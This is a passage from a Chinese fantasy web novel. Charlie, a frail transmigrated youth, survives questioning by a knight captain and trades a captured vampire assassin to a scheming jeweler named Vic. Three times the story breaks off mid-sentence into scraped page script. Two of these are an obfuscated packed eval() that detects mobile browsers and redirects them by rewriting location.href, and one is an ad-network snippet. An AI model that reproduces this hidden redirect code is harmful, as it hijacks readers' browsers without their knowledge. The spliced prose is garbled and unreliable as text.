查理回答的声音不快,常伴有思考,但也不磕磕巴巴,“她的固定摊位上……好像就只有一个水晶球,大家经常去找她占卜,因为便宜,所以好像生意不错。书是她偷偷摸摸从巫师袍里掏出来给我的,就只有那一本,其他的我没看到。” 萨洛蒙这才提及具体的物品,“她可曾佩戴什么珠宝首饰?” 珠宝首饰?查理瞬间联想到了那位宝石商人,面上不动声色,缓缓摇头。不过他紧接着又像是想起了什么,问:“金牙算吗?她镶了颗金牙。” “不算。”萨洛蒙略作沉吟,敲敲桌子,“再说说理发师吧,你在前天去找过他,并且跟他约定好了,晚上九点进行放血治疗,对吗?” 这是换策略了?一上来就把约定的时间都说了。 查理面露迟疑,随即问:“隔壁的麦肯太太建议我去找理发师,我确实有些不舒服,就去了。可我见他的时候,一切看起来都很正常,后来我到九点去找他,他不在,我就走了。他是出什么事了吗?灰帽街的人都说,他是因为风流债连夜逃跑了。” 萨洛蒙目光紧盯,答非所问:“你没去找别的医生?” 查理摇头,“听说玛吉波的内科医生很贵,附近又只有那一个理发师。其实我也没有什么大病,休息一下就好了。理发师还给我配了一瓶酊剂,挺有用的。” 这句“挺有用的”,配着查理略显苍白的脸色,着实没什么说服力。不过从饮食起居来看,查理并不阔绰,除了出去求学,他很少与外人产生交集,也不怎么出门,舍近求远去别的地方找医生也不像是他的作风。 萨洛蒙心中已有了判断,“这是你第一次见理发师?” 查理继续点头,“是。” 萨洛蒙又问:“这几天在灰帽街,有看到什么可疑人物吗?” 查理陷入思考。 萨洛蒙双手撑在桌面上,鹰眼里有审视,但也有鼓励,“什么都可以,不用担心会惹上什么麻烦,在玛吉波,黑甲骑士团会保护你的安全。” 查理微微收紧拳头,好似下定了决心,道:“我去找理发师的时候,在那里等了一会儿。店里一直没什么动静,但往我右、对,右手边看,停着辆马车,车夫好像在打盹,等什么人。” 萨洛蒙蹙眉:“马车?你看到有人从马车上下来,或者上去吗?” 查理很肯定,“没有。我没有一直盯着它看,大晚上怪吓人的,而且那辆马车很快就不见了,然后我就往橡树酒馆的方向去了。” 萨洛蒙听了他的描述,脑海中已经浮现出当时那辆马车的具体位置。他又详细询问了马车的细节,但当时天黑,距离又不近,查理也没能看清。 “你确定当时店里没人?”他最后问。 查理点点头,又摇头,“太暗了,看不清,但里面确实没什么声音传出来。他、理发师,难道出什么事情了吗?” 萨洛蒙看着他,没有回答。眼前的少年,或者说是青年,苍白羸弱,眼神却很干净,结合之前的资料来看,倒也是个有韧劲的人。 问话至此结束。 萨洛蒙从抽屉里拿出那本书,当面还给了查理。查理谢过,紧接着又确认了一遍,“这本书不是赃物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660250|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对不对?” “不是。但我要提醒你一句,查理·布莱兹,想要靠上面的方法成为一个魔法师,并不现实。”萨洛蒙这时,终于稍稍褪去了严厉,看向查理的目光多了几分劝诫。 “比起求助于一本不靠谱的魔法书,或许你应该先锤炼自己的身体,保持健康,并以此获得坚韧的意志,开创出属于自己的新的路途。骑士团有对民众公开传授的基础剑术,你可以学一学。” 查理拿书的手顿了顿,最终还是礼貌地维持着微笑,再次重申自己的人设,“很抱歉,萨洛蒙队长,感谢您的建议,但我更想成为一名魔法师。” 萨洛蒙投去不赞同的目光,像在看什么冥顽不灵的晚辈。直到走出办公室,查理都觉得,萨洛蒙能把他叫回去,再劝诫他八百字。 “呼……” 走在下楼的路上,查理终于松了口气。不论如何,这关好像过了,至于怎么处理地下室里的理发师,他得再想想办法。 刚才与萨洛蒙交谈,他说黑甲骑士团会保护他的安全时,他也曾动摇过,是不是要把理发师的下落告诉他。 可查理毕竟——天性多疑。 萨洛蒙不会告诉他案件的真相,他自然也没办法如实相告。 这时,前方传来急促的脚步声。 查理好奇地看了一眼,就看到穿着黑甲的骑士们来去匆匆,似乎又有什么事要忙。他并未在意,只是往旁边让了让,又下意识地支棱起耳朵,听着周围人的谈话声,企图再听到点什么关键信息。 没想到这一听,真被他听到了些有用的东西。 “……刚才差点以为水晶球坏了呢,不过好在第二次就正常了……骑士团也真是的,水晶球用了那么久了,瞧着透明度都不高了,也不换一个新的。” “这的不是因为你昨夜喝多了酒,手抖了么?哈哈哈……” 两个穿着长袍的人正从检查室那边走过来,看样子,也是去做了例行检查。 查理听着他们的对话,突然有种不好的预感。他做测试的时候,水晶球明明是好的,为什么那个人却说,差点以为水晶球坏了? 这件事应该与他无关才对,可查理的心却始终平静不下来。他一边往外走,一边整理着思绪,越想越觉得不对劲。 那个男人很刻意。 叫做维克的珠宝商人,偶然遇上了他,表现出了对他的兴趣。这看起来并无不妥,但从他和政务官的交谈和他的身份来看,这应该是个八面玲珑的人。 那他对自己展现出的那瞬间的压迫感,就不太正常了。那交锋,似乎也只有他们两人知道,是一种隐晦的交流。 水晶球到底是怎么回事? 真的是自己控制住了力道,才没让水晶球暴露出自己的真实水平吗?还是说,有人在暗中做了手脚,帮了他一把。 为什么? 图什么? 查理顿时头皮发麻。 骑士团外面没有载客的马车,他左右看了看,快步离开,心里的不安越来越重。而当他穿过一个十字路口,离开翡翠街,继续往着灰帽街的方向走去时,一辆停在路边的马车,忽然掀开了帘子。 “查理·布莱兹?”有些熟悉的声音叫住他。 查理转过头,就看到了珠宝商人维克的脸。他用那只戴着祖母绿戒指的手挑着车窗的帘子,笑着问:“需要我送你一程吗?” 13.交易 上车还是不上车,对于查理来说,是一个选择,但不是一个问题。对方都主动找上门了,在没有探明对方的目的之前,逃跑是下下策。 维克看着只是迟疑了一瞬,就大大方方上车的人,微微挑眉,“布莱兹先生很有胆识。” 查理在他对面坐下,“维克先生不是第一个这么说的人。” 第一个这么说的,现在已经在地下室里了。 马车缓缓前行,维克看着上车后就安静地坐在那儿,仿佛真的只是在搭便车的查理,问:“你不好奇我为什么要在这里等你吗?” 查理礼貌作答:“虽然不知道为什么,但还是感谢维克先生慷慨助人。” 维克笑笑,“来了玛吉波之后,人人都说我是黑心商人,这还是我第一次从别人嘴里听到这样的评价。你跟我想的有点不一样,或许,在那个鹰眼萨洛蒙面前,你又是另一幅面孔,否则他不会这么轻易让你离开。” 话已经说到这里,查理知道轻易糊弄不过去了,正色道:“你想说什么?” “黑甲骑士团找你来,是询问你有关于偷盗案的事情,对吗?”维克不再废话,那只露在外面的眼睛看着查理,道:“我也一样。城主府的库房于近日失窃,所丢失的物品中,有一件早前从我手中卖给他的珠宝。珠宝找到了,所以今日叫我和政务官阁下一块儿过来确认。” 查理没有接话,他不知道这个男人对自己的事究竟了解多少,又在幕后操盘了多少。总之,多说多错。 维克继续说道:“跟珠宝一同失窃的,还有一些珍惜藏品,以及一件足以在整个托托兰多掀起狂澜的东西——尽管连那位萨洛蒙队长,至今都不知道它的存在。” 闻言,查理惊讶,“偷东西的人都找到了,赃物却不能确定?” 维克搭着他的手杖,后背靠在车厢上,长腿一伸就占据了大半的车厢,姿态端地是随意,“因为这件东西被施加了古老的咒语,已经不再是原初的形态,当环境发生变化时,甚至会随机产生相应的变化。它在你眼里,可以是路边的一颗石子、放在书架上的一本书,甚至可能是一个活物。那位智者虽然从库房里偷走了它,但我相信,她大概也不知道那究竟是什么,甚至不知道——” 维克卖了个关子,那唯一露在外面的眼睛盯着查理的神色变化,强势且外露,但他又是笑着的,语气轻松,继续说道:“她已经偷走了它。” 查理心中一凛,几乎是下意识地就想到了怀里那本刚刚拿回来的书。然而他还没有所动作,维克就像看穿了他的心思,道:“不用担心,不是你的书。” “你知道?” “虽然萨洛蒙至今还被蒙在鼓里,但不要小瞧了黑甲骑士团的实力。那本书已经在他手上过了一遍,如果真的有问题,不可能一点都查不出来。而根据他们的调查结果,那本书确实不是智者偷的,它只是集市里某个破落商贩用来垫桌脚的旧物,被智者捡去,做了笔无本的买卖,从你那儿换了十铜币而已。” 听到这样的回答,查理一时间都不知该欣喜还是难过。他决定不要再继续讨论这本旷世神书了,清了清嗓子,问出了另一个问题:“可是丢了东西的人,那位亲王殿下,不应该知道吗?” 亲王殿下就是玛吉波的城主,前任嘉兰帝国国王陛下的胞弟,现任国王的亲叔叔。 “你很聪明,不是应该已经猜出来了吗?” “什么?” “因为我们的这位亲王殿下,也不想让人知道,自己究竟丢了什么。毕竟这件东西一旦公之于众,所掀起的狂澜就不止是一桩盗窃案这么简单了。” 说到这里,维克又笑着问:“你想知道这件东西究竟是什么吗?” “这是我该知道的吗?” “没有什么该不该的,只有想不想。” 查理已经被卷入其中,他当然想知道那是什么,但对方不可能轻易告诉他,而他也不太愿意被人堵在马车里以这种姿势知道,于是他说—— “哦。” 有话快说,有屁快放。 MD,最讨厌话多的男人。 这个答案有些超出维克的预料。眼前这个人,说他有胆识,但他从坐姿到神色,对自己都有戒备,谨慎于心;说他胆小,又不尽然。 维克不由得想起那天晚上看到的画面,“我知道,理发师在你那里。” 如果说,在得知水晶球坏了时,查理的感觉是头皮发麻和隐隐的不安,那现在就是毛骨悚然。 到底有多少双眼睛在盯着灰帽街? 这就是托托兰多吗? 虽然没有监控,但人人都是监控,毫无隐私。 查理知道,维克在这里将事情挑明,就没有要告发他的意思。刚才那个水晶球,甚至可以解释为一种示好。 这个人虽然曾与那位行政官同行,但不像是同为亲王殿下做事的人,可他偏偏掌握着连萨洛蒙都不知道的内幕。 一个从帕托城来的黑心的珠宝商人么…… “你想要的,是理发师?不,应该说,你也想要那件东西。”虽然是疑问句,但查理语气笃定。 维克没有否认,只是笑着建议道:“这件事远比你想得要复杂,牵扯得越深,越危险。把理发师交给我,我可以保证,无论结果如何,都不会把你卷进去。如果你希望,我还可以送你离开玛吉波。” 可这样的保证对查理来说,毫无可信度。 查理直视着他,毫不避讳,“你不怕我反过来把你供出去吗?” 维克神色未变,“不如你试试?” 查理确信,自己从未见过这么自信的男人,因为强大而自信,所以无解。可理发师是他凭实力打晕、凭实力关起来的,凭什么这么简单就给出去呢? “维克先生,我并不了解你。也许在你眼里,我除了信你,别无选择,但是如果一件事真的能威胁到我的生死,那就意味着我没有什么别的不能失去的了。我可以选择你,也可以选择黑甲骑士团,甚至可以跟魔鬼达成交易。” “这就是你成为死灵法师的理由?”维克问。 “是的。”查理神色一僵,随即毫不犹豫地认下了死灵法师的身份,他猜,维克应该在窗外看到了他和本合力将理发师击倒的画面,通过骷髅的存在和他的脸色,合理推断他走上了死灵法师之路。 这意味着,关于自己的秘密,维克有可能只知道这么多。 那厢,威胁的话在嘴边打了个转,维克话锋一转,“那不如,我们来谈一笔生意。理发师就是那个筹码,你想换什么?” 查理丝毫没有准备,但好在他记性不错,反应也快,当即报出了一串材料名,“幸运根、天仙子、盐晶石粉末、天鹅翎羽、精灵之泪。” 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667544|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是制作觉醒药剂的材料。 维克都要被他气笑了,“布莱兹先生还是太过客气了。” 查理答:“来了玛吉波之后,这是我第一次从别人嘴里听到这样的评价,还要多谢你,维克先生。” 查理又把刚才维克的话还给了他。 “是吗,你好像确实与传闻中的那个查理,不太一样。”维克的目光中,透着一丝审视。 “没有人在经历那一系列事情之后,还能保持冷静和理智,维克先生。”查理怡然不惧,眼神里透着前所未有的坚定的甚至泛着决然的光,“过去的查理·布莱兹已经死了,终有一天,我会以一个新的面貌,再次回到遥远的南都郡。” 半真半假的话,从查理的嘴里说出来,让维克这位习惯了与人打交道的黑心商人,一时都辩不了真假。 最终,他付之一笑,道:“你知道我最早是从哪里听说的你吗?” 查理想起刚才在翡翠路22号听到的话,“明多塔?” 维克似是想到什么好玩的事情,语气戏谑,“明多塔的主人巴巴奇大法师,是整个托托兰多都赫赫有名的传奇大法师之一,可你查理·布莱兹,去过了高等魔法学院,去过了玛吉波城几乎所有的法师塔,却偏偏漏掉了他。他很生气。” 查理:“…………” 万万没想到的剧情走向。 原主为什么没去明多塔?查理保持着面上的镇定,紧急搜寻记忆,终于在片刻后找到了答案——因为巴巴奇大法师据说只收天赋极高的学生,这么多年下来学生寥寥,还经常神龙见首不见尾,来去无踪。 查理没去,是因为他根本不抱什么希望。 见到查理噎住,维克的心情顿时舒畅不少,而这时,马车也快行驶到南区到西区的交界处。维克掀开帘子看了一眼,“材料我暂时无法凑齐,如果你信我,我可以先给你一部分,其他的以后再给。” 查理评估着维克的信用值,说真的他不愿意跟这位黑心商人打交道,高风险的同时并不意味着高收益。但此时回头去找黑甲骑士团,也并非一个好的选择,而他正愁理发师砸在手里,无法脱手…… “我还有最后一个问题。”查理道。 “什么?” “理发师有伪装技能,他现在用的是我的脸。如果你不能让他恢复原貌,我宁愿杀了他,也不会让你把他带走。” 天知道理发师会顶着自己的脸出去干什么坏事?那太不可控了。至于理发师被带走后,他会再换成谁的脸…… 查理觉得,维克这样的商人不会做赔本的买卖,哪怕让理发师变成萨洛蒙,都比变成一个小小的查理要有用。 维克没有让查理失望,答应得干脆,“成交。” 查理也不拖泥带水,“怎么交易?” 维克勾起嘴角,“你只要在松塔里等着,我会在合适的时间上门。” 语毕,马车停下,维克亲手为查理打开了车门。 查理下了车,站在十字街头,目送黑色的豪华马车远去,良久,幽幽吐出一句:“送人送一半,抠门。” 算了,来都来了,前面看起来挺热闹的,应该有不少店铺。正好买些炼金的基础材料回去,可以开始炼金实验了。 查理把刚刚从车上偷摸到的一个东西仔细用布包着,贴身放好,随即迈动脚步,神色如常地继续往前走。 14.来访 查理并未刻意隐瞒自己想要成为一个兼职炼金术士的打算。 在托托兰多,炼金术士也是个热门职业。他们不光可以产出各类炼金药剂,成为魔法师们最受信赖的“医生”,也可以在炼金的同时,顺手改良玻璃的制作方法,使得玻璃这个稀罕物,在玛吉波城得到大规模的推广和使用,并逐渐辐射至整个托托兰多。 最重要的是,炼金术与魔法息息相关。查理不甘接受自己的命运,尝试所有与魔法有关的东西,继而开始研究炼金术,也是一个意料之外但情理之中的转变。 毕竟民间流传着很多炼金术的“偏方”,有一点魔法天赋但没有正式拜师学艺者,偶尔误打误撞,也能有意外的收获。而查理不是全然没有魔法天赋,众所周知,他只是天赋不够而已。 第一个魔法师没有人教导,他也成为了魔法师。 第一个炼金术士没有人教导,他也学会了炼金术。 只要你敢,往丹炉里随便加东西,炸了丹炉,就能得到火药。只要你敢,托托兰多下一个伟大的炼金术士就是你。 因此,查理光明正大地向路人打听了售卖炼金材料的店铺所在,花十金币购买了制作部分基础药剂的材料,再坐马车回灰帽街。 查理没有能够储物的魔法空间道具,所以当他的邻居们看到他背着一个大包裹回来时,难免好奇发问。 不出半日,消息便再度传开。 来自异乡的灵魂站在楼上的窗前窥视,路过的每一位邻居,看向松塔的眼神,那摇头、那叹气,都像在说—— 看,这里面住着一个败家子,梦想破灭之后开始病急乱投医。或许过不了多久,他就会因为数不清的炼金失败,付不起材料费而宣告破产。 本:“他们好像都不太看好你呢。” 查理:“没事,他们再看得起我,也不会当我的天使投资人。” 天使投资人? 本空空的大脑再度装满了疑惑,天使……会投资人类吗?投资什么?他紧接着又奇迹般地想起了主人曾经说过的话,兴冲冲地告诉查理:“主人说过,天使都是骗人的。这个世界没有天使,只有伪装成天使的骗子、神棍和恶徒。” “也许吧。”查理并不在乎天使存不存在,神明又是否正对大陆投以凝望,他一边按照炼金笔记上说的,处理着材料,一边说:“但魔鬼确实存在。” 本:“哪里?!” 查理抬头,幽幽作答:“你击中理发师后脑勺的时候,他就在黑暗中窥视,所以他已经——盯上你了。” 本一下就应激了,骷髅头一蹦三尺高。 查理忍不住笑了笑,谁知手一抖,材料废了。 很好,笑不出来了。 炼金术,真是个烧钱的玩意儿。 处理材料也是件很费精神的事情,查理忙活到傍晚,便停下来休息。正好,也到了做晚饭的时间了。 今天的晚饭是从外面带回来的面包和果酱,没有肉食是因为炉子上还煮着香甜的皇家奶茶。制作奶茶的原材料不比肉便宜,但查理很愿意花钱尝个鲜。 只是这奶茶加了许多香料,实在有些香过头了。奶和茶的配比也不如后世那样成熟,简而言之,甜得齁人。 查理随手取出一只涩口的苹果切块丢进去煮,心里琢磨着,下次可以改良一下配方。 慢悠悠地吃完了晚饭,一直等到半夜,魔鬼依旧没有登门。 查理微微蹙眉,不知道那位黑心的珠宝商人究竟是什么打算。如果不在晚上登门,选择白天来带走理发师,岂不更扎眼? 还是说……灰帽街这边,仍然有人在暗中窥伺,让他不宜出现。亦或是,他出事了? 怀着这样的疑问,查理又等到了第二天。 翌日上午,有人敲响了松塔的门。查理做足了心理准备去开门,却发现外面站着的是送水的工人。 灰帽街没有自来水,送水的工人三天来一次,提供生活所需。当然,囊中羞涩的人也可以自己去公共水井打水。 查理当然不属于后者。 看着晒出了古铜色皮肤、戴着帽子的精壮送水工,查理的视线扫向了车上的大水桶,开始怀疑这人是不是维克派来的? 想要神不知鬼不觉地把人运出去,水桶的大小正好。 可事实证明查理想多了,送水工收了钱,帮他把水挑进去,就赶着水车离开,片刻都未曾停留。 那维克究竟在搞什么名堂? 查理抱着满肚子狐疑,重新关上门,来到楼上的窗前,向街上窥探。 他想了很多种可能,怀疑街上路过的每一个人,都有可能是他人的耳目,但确实没想到——那位珠宝商人,会以那样的方式登场。 他竟什么伪装都没有,就坐着他那辆华丽的马车,光明正大地来到了灰帽街。 当他拄着手杖,披着斗篷,从马车上下来,用那只戴着祖母绿戒指的手敲响松塔的房门时,查理不用耳朵都能听见,藏在邻居们家中的窃窃私语。 麦肯太太家的猫从窗户里钻出来,翘着尾巴走在窗台上,投来好奇的目光。这位张扬的珠宝商人,还朝它挥了挥手,说一声—— “你好。” 查理有那么一瞬间,不想给他开门了。直觉告诉他,这位珠宝商人所带来的麻烦,或许比囚禁理发师要大。 可他的理智还在,深吸一口气,还是打开了门,友好发问:“您有事吗?” “才一天没见,你就忘了?”维克笑着,余光向身后的马车示意。车夫极其有眼力见地从车上搬下系着缎带的礼盒,送到查理面前。 “这是……”查理意识到这里面装着的可能是他要的炼金材料。 明修栈道暗度陈仓。 “我答应你什么了?”查理迎上他含笑的视线,问。 “当我的珠宝模特。我需要一个合适的人选,你需要一份工作,不是吗?如果幸运的话,你甚至能见到明多塔的传奇大法师。”维克笑道。 果然。 查理就知道,这位珠宝商人不会按套路出牌。珠宝模特之事完全不在他们的合作范围内,谁知道还会因此牵扯出多少的事,可现在这个情况,也容不得查理当面拒绝。 这种被人下套的感觉,很令人不爽,但查理脸上的神色反而更柔和了,甚至露出一丝感激,侧身让出路来,“请进。” 维克微微挑眉,但没多说什么,大大方方地进了松塔。 “啪。”门在背后轻声关上。 维克忽然觉得后颈微凉,似乎有什么不怀好意的目光盯上了他,可等他回头时,只看见那人脸色苍白,人畜无害。 “维克先生为什么这样看我?”查理问。 “你没有什么要问的吗?”维克反问。 查理往前走几步,把礼盒放下,“我现在确实缺一份工作,除了答应,我好像别无选择。我只想知道,你说能见到明多塔的传奇大法师,是真的吗?” “当然。”维克很欣赏他这样化被动为主动,直接开始谈条件的姿态,省事得多,也有趣得多,至少不会给他拖后腿。他笑笑,继续说道:“时人总说我黑心,但作为一个商人,诚信是基本要素。” “那就多谢维克先生了。”查理回答得心平气和,伸手指向地下室的方向,“理发师在那里,请跟我来。” 语毕,查理当着维克的面打开了地下室的大门,甚至毫不设防地走在了前面。 维克看着他的背影,神色莫名。停顿了两秒,他跟上去,直到看见躺在角落破布上的光头理发师,他忍不住发出感叹,“想不到啊,这位大名鼎鼎的刺客,也有今天。” 查理回头,“维克先生知道他的真实身份? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 维克卖了个关子,“你对他很好奇?” 查理点头,“当然。” 维克看向理发师锃亮的脑袋,手指摩挲着那枚祖母绿戒指,“可否先告诉我,他的头发怎么了?如果我没有猜错,他现在应该有一头跟你一样漂亮的金色长发。” “长了虱子,剃了。”查理神色如常。 “才两三天时间,就长了虱子?” “也许是他本来就长了虱子,也许是因为地下室环境不好。” 撒谎。 维克能看得出来,因为查理撒谎撒得毫无诚意。但想到他把理发师的头发剃光,就觉得好笑,难不成这是他的报复手段? 思及此,维克又看向理发师。不得不承认,配上查理那张脸,哪怕光头都是对眼睛的一种洗礼。而看着美丽的事物,他的心情总是会稍显愉悦。 “看在布莱兹先生有效遏制了虱子滋生的份上,关于刚才的问题,我可以直接给出答案。请看。” 随着话音落下,维克抬起他的手杖,又轻轻点地。 刹那间,魔法的光芒在手杖上的黑宝石闪现,如同一条灵活的蟒蛇,顺着手杖往下,钻入地面,缠绕住理发师。 查理一眼也不敢眨,死死地盯着理发师身上的变化,但心底的惊讶却来自于维克。如果他没猜错,手杖就是他的法杖,他的魔法可以瞬发,无需念咒。 问:维克是什么魔法等级? 等等…… 地上的理发师此刻已经完全变了样貌,将查理的思绪全部拉回。他看着那明显苍白的皮肤,还有嘴里隐隐露出的尖牙,声音难掩惊讶。 “吸血鬼?” “来自沃伦的吸血鬼刺客,吸血鬼中的温和派,擅长伪装,喜好假扮成医生获取新鲜血液。” 维克的这一番解释,让查理陷入沉默。 都已经当刺客了,还是温和派吗?不过当了医生,给病人放血,以此获得血液,比起其他直接吸血的,好像、确实……更温和一些吧。当刺客还有钱拿,比吃自助餐更划算。 这么一想,查理把自己给说服了。 吸血鬼就吸血鬼吧,他都穿越了,没什么好大惊小怪的。他整理好心情,继续问:“既然是刺客,那他要杀谁?智者?又是谁跟他在店里发生了打斗?” 维克双手拄着手杖,道:“如果你相信我,亲爱的查理·布莱兹先生,我对于灰帽街发生的事情,知道得并不比你多。事实上,得知库房失窃后,我与黑甲骑士团追踪到灰帽街的速度,几乎同等。只不过他们的注意力都在智者身上,我早一步留意到了理发师的存在,而我之所以会看破他的身份,完全是基于我对于沃伦的吸血鬼一族的了解。” 所以你盯上了理发师,进而注意到了我,旁观了那天晚上发生的一切吗…… 等等,不对。 十多天前黑甲骑士团就来过灰帽街了! 查理心中一个激灵,陡然记起一件事来。 那是他穿越第一天的晚上发生的事情,因为海上翻了船的缘故,太阳与月亮的信徒发生冲突,在灰帽街打起来了,而后黑甲骑士团赶到镇压。 信徒们斗殴,如果受了伤,不正好去找理发师接受治疗? 两件事情是否有关联? 查理暂时还不能确定。 他稍作犹豫,还是没有把事情说出来。归根结底,他并不完全相信维克的话,而他需要自己的筹码。 “维克先生,你虽然打着给我介绍工作的名义,光明正大地上门来,但这么大一个人,你要怎么把他带走?”查理适时地转移开话题。 闻言,维克拂过手指上一枚相对小巧的玛瑙戒指,从中取出一个卷轴来,用理所当然的语气回答道:“可以用定向传送卷轴。” 查理:“……” 是我冒昧了。 15.赏金Z 土豪来了,土豪又走了。 带上吸血鬼刺客,用着他价值百金的定向传送卷轴,华光一闪,就从查理眼前消失得无影无踪。 临走时他还回头冲查理招了招手,“我半个小时后再回来,希望布莱兹先生不会锁住地下室的门,让我也享受这位吸血鬼刺客的待遇。” 他不说还好,一说查理就明白了。他再用定向传送卷轴回来时,会出现在他原来消失的地方,也就是地下室。 那为什么不直接到楼上再传送走呢? 怕留下明显的魔法痕迹,被有心人探查到吗?还是说,这又是一次无聊的试探? 查理想了一会儿,觉得头疼,余光瞥见地上有吸血鬼刺客留下的一点血迹,干脆上楼拿来工具开始清洗。 本的骷髅头骨碌碌顺着楼梯滚下来,“你又在清理现场了啊。” 查理递过去一块抹布,“你也一起。” 本:“啊?” 愣了愣,本又小声嘀咕,“我不会啊。” 查理:“跟我学。” 松塔不养闲人,更不养闲骷髅。本一时间不知道该怎么拒绝,但他用自己空荡荡的脑袋一想,好像学一学也没什么不可以的。 主人说过,要勤奋好学。 “那你等一等哦,我叫我的兄弟们过来。”骷髅头又蹦蹦跳跳地上楼去,找来自己的其他零部件,跟查理虚心学习如何清理现场。 查理很欣慰。 打扫完卫生,左右无事,查理便煮起了下午茶。下午茶是他昨日出去购买材料时从街边摊贩那里学来的新菜谱——杏仁乳。 只要将水在锅中烧开,放入杏仁粉、糖和食盐,开中火焖煮即可。唯一麻烦的一点在于,现成的杏仁粉比较贵,所以查理选择购买杏仁粒回家自己捣碎。 从炼金实验室拿来一个小的坩埚洗干净,放入杏仁,仔细捶打。不多会儿,杏仁的香味就出来了,查理的手也酸了。 查理不是个委屈自己的人,于是把研钵交到了本的手上。 本天真发问:“这个也要学吗?” 查理慢悠悠地开始烧水,用温和的语气跟他交谈,“如果我成为一个炼金术士,那你就会成为我的助手。” 本虽然不需要吃东西,但查理给他画的虚空大饼,他吃到了,也吃开心了。骷髅手臂飞快地捣着杏仁粒,比查理自己快多了。 查理因此得了空闲,又起身检查了一下维克带来的炼金材料。 天赋药剂需要用到的五种材料,维克送来了其中的三种,分别是幸运根、天仙子、盐晶石粉末,至于更难寻、更珍贵的天鹅翎羽和精灵之泪,则暂时没有。 维克承认自己的黑心,但又说自己重诺,最后这两种材料究竟能不能拿到,查理心里也没底。 不过,现在谈论天赋药剂还为时尚早。查理的炼金术还没到入门,根本炼制不了高阶药剂,他还有足够的时间跟维克周旋。 收好材料,查理又重新回到厨房。这时本的杏仁粉也已经捣好了,查理去掉杂质,倒入锅中,开始悠闲下午茶。 “布莱兹先生好兴致。”不多时,背后响起熟悉的声音。 查理没有回头,慢条斯理地拿出早就准备好的白色茶杯,倒入煮好的杏仁乳。等到维克走上前来,他抬手,“请。” 维克大大方方地在查理对面坐下,“没想到你还擅长厨艺。” 查理自顾自端起茶杯喝了一口,这才回答道:“我是养子,不是亲子。” 真正的查理·布莱兹本身就是会做饭的,但并不是说柳利勋爵故意在这方面为难他,而是因为柳利勋爵的亲子阿尔芒少爷喜好烹饪。 养子,就是高级的陪读兼侍从,阿尔芒少爷想要做什么,他们就也要做什么,但绝不能比他更优秀。 因此,藏拙本该是查理的人设之一,此时他再展现出别的什么,也不会突兀。反而是越聪明、想得越多的人,越容易相信。 维克笑笑,没有再说话。他品着香甜的杏仁乳,余光瞥向在旁边假装自己是个灯罩的骷髅头。 本抖了抖,默默转头。 维克看向查理,稍显无奈,“它好像不喜欢我。” 查理抱起骷髅头,放在腿上,安抚地拍了拍,答:“他胆小,怕生。” 语毕,查理主动询问:“还是说说珠宝模特的事情吧,我们都与偷窃案有关联,而你现在跟我搭上线,确定不会引起什么不必要的怀疑吗?那位萨洛蒙队长,鹰眼如炬。” 维克气定神闲,“他们怀疑的人已经够多了,在你看不见的地方,不知有多少人正在暗中查探。而你,布莱兹先生,是所有与之关联的人中,最不起眼、来历最清楚明白的一个。” 查理顺势发问:“维克先生又来自何方?” 维克:“帕托城,那里盛产各类宝石,当然也盛产像我这样的珠宝商人。我在大约三个多月前来到玛吉波发展,也只比你早了一些而已。” 三个月前,这倒是与查理昨天在街上买东西时,打听到的有关于维克的信息差不多。 总而言之,这位珠宝商人似乎家资颇丰,常与达官显贵来往,行事说不上低调,爱珠宝、爱一切美丽事物,当然更爱钱。他的具体姓氏不知道是什么,人人都只叫他“维克先生”。 这时,维克又笑起来,“而且,布莱兹先生好像对自己的相貌没有一个清晰的认知。” 查理沉默。这算是恭维吗?不过他对此并不感到冒犯,因为维克端详自己的神情,跟他看向那枚祖母绿宝石戒指的眼神一样。 “珠宝配美人,才能最大限度地激起别人的购买欲望。只是把珠宝放在死板的展示架上,太可惜了不是吗?流动的美,更有生命力。几天后我会在玛格丽花园举办一场宴会,届时,花园里的贵族们和魔法师们都会出席,我需要最合适的人,去展示我最美丽最昂贵的珠宝。只要宴会顺利结束,你将获得三百金的酬劳。” 三百金,对于平民来说绝对是一笔巨款,可对于即将成为一名魔法师和炼金术士的查理来说……好吧,也还是很心动的。 他又问:“如果中途出了岔子呢?” 维克慢条斯理地放下茶杯,危险的光芒在他眼底一闪而过,“这要看是什么岔子了,如果只是粗心的侍从不小心把酒水洒在客人身上,那当然不要紧。如果有人故意捣乱……相信我,布莱兹先生,宴会总会顺利结束的。辜负珠宝的人,一定会被贪婪的巨蛇吃掉心脏。” 查理垂眸,看着腿上的骷髅头,似乎在思量他的话。良久,他抬起头来,说:“那就预祝维克先生的宴会顺利结束。” 维克举杯,“多谢吉言。” 很快,维克起身离开,查理将他送到门口。尽职的车夫为维克打开了车门,维克上车的时候,又转过头来,道:“明天我会派马车上门来接你。” 查理微怔,“去做什么?” 维克:“试戴珠宝。” 语毕,他关上门,华丽的马车缓缓驶离灰帽街。 查理没急着回屋,他望着马车离开的方向,微微蹙眉。恰在这时,隔壁的门开了,麦肯太太好奇地探出头来,“小查理,那是谁啊?” 查理回头,“是一位珠宝商人,他来……给我介绍工作。” “这可是一件好事啊,小查理,有了工作,你就能吃点好的补补身体了。瞧瞧你的脸色,哦天呐,这么多天了还没好呢。”麦肯太太依旧用夸张的语气跟查理说着话,话语里的关心不似作伪,但眼里的八卦还是出卖了她。 